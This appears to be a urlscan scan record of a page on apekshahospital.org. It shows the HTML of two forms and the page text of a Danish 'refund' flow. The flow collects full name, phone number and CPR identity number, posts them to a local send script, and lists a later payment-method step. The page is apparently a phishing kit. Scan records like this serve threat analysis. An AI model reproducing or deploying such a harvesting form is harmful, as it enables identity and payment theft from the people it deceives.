apekshahospital.org Open in urlscan Pro
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Form analysis
2 forms found in the DOM

POST ./send/step1.php

<form action="./send/step1.php" method="post">
  <div>
    <br>
  </div>
  <!-- Steps Section -->
  <div class="steps">
    <div class="step-container">
      <div class="step active">
        <img src="./source/document.png" class="icon">
        <span class="label">Dataene</span>
      </div>
    </div>
    <div class="step-container">
      <div class="step">
        <img src="./source/credit-card.png" class="icon">
        <span class="label">Betalingsmetode</span>
      </div>
    </div>
    <div class="step-container">
      <div class="step">
        <img src="./source/correct.png" alt="Traitement 2 Icon" class="icon">
        <span class="label">Refusionsbehandling</span>
      </div>
    </div>
    <div class="step-container">
      <div class="step">
        <img src="./source/verified.png" alt="Fini Icon" class="icon">
        <span class="label">Færdig</span>
      </div>
    </div>
  </div>
  <div class="mb-4 relative">
    <label for="nom" class="block text-gray-600 text-sm font-semibold mb-2 flex items-center">
      <img src="./source/profil.png" alt="Person Icon" class="w-4 h-4 mr-2"> Fuldt navn : </label>
    <input type="text" id="nom" name="aa" class="w-full p-2  border rounded" required="">
  </div>
  <div class="mb-4 relative">
    <label for="phone" class="block text-gray-600 text-sm font-semibold mb-2 flex items-center">
      <img src="./source/phone.png" alt="Phone Icon" class="w-4 h-4 mr-2"> Telefonnummer </label>
    <input type="tel" id="phone" name="bb" placeholder="Eksempel.. 12345678" maxlength="12" class="w-full p-2  border rounded" onfocus="addCountryCode()" required="">
  </div>
  <div class="mb-4 relative">
    <label for="email" class="block text-gray-600 text-sm font-semibold mb-2 flex items-center">
      <img src="./source/cpr.png" alt="Person Icon" class="w-4 h-4 mr-2"> CPR-nummer </label>
    <input type="text" id="" placeholder="ddmmåå-xxxx" maxlength="15" name="cc" class="w-full p-2  border rounded" required="">
  </div>
  <div class="mb-4">
    <button type="submit" class="bg-yellow-400 text-white p-2 rounded flex items-center" style="background-color: #2596be;">
      <img src="./source/basic-tick.png" alt="Update Icon" class="w-4 h-4 mr-2">
      <span>Bekræft og fortsæt</span>
    </button>
  </div>
</form>

<form id="trackingForm">
  <div class="mb-4">
    <input type="tel" id="trackingNumber" name="trackingNumber" placeholder="1050" class="w-full p-2 border border-gray-300 rounded-md focus:outline-none focus:border-blue-500 transition duration-150" required="">
  </div>
  <div class="mb-4">
    <button type="button" onclick="closePopup()" class="bg-orange-500 text-white p-2 rounded flex items-center mx-auto" style="background-color: #2596be;">
      <img src="./source/basic-tick.png" alt="Parcel Icon" class="w-4 h-4 mr-2"> Bekræft </button>
  </div>
</form>

Text Content

DANSK ENGLISH
FAQ FØLG DIN SAG BETALING HENVENDELSE JOBS


BEKRÆFTELSE AF DINE PERSONLIGE OPLYSNINGER



Dataene
Betalingsmetode
Refusionsbehandling
Færdig
Fuldt navn :
Telefonnummer
CPR-nummer
Bekræft og fortsæt



INDTAST DIT POSTNUMMER :

Bekræft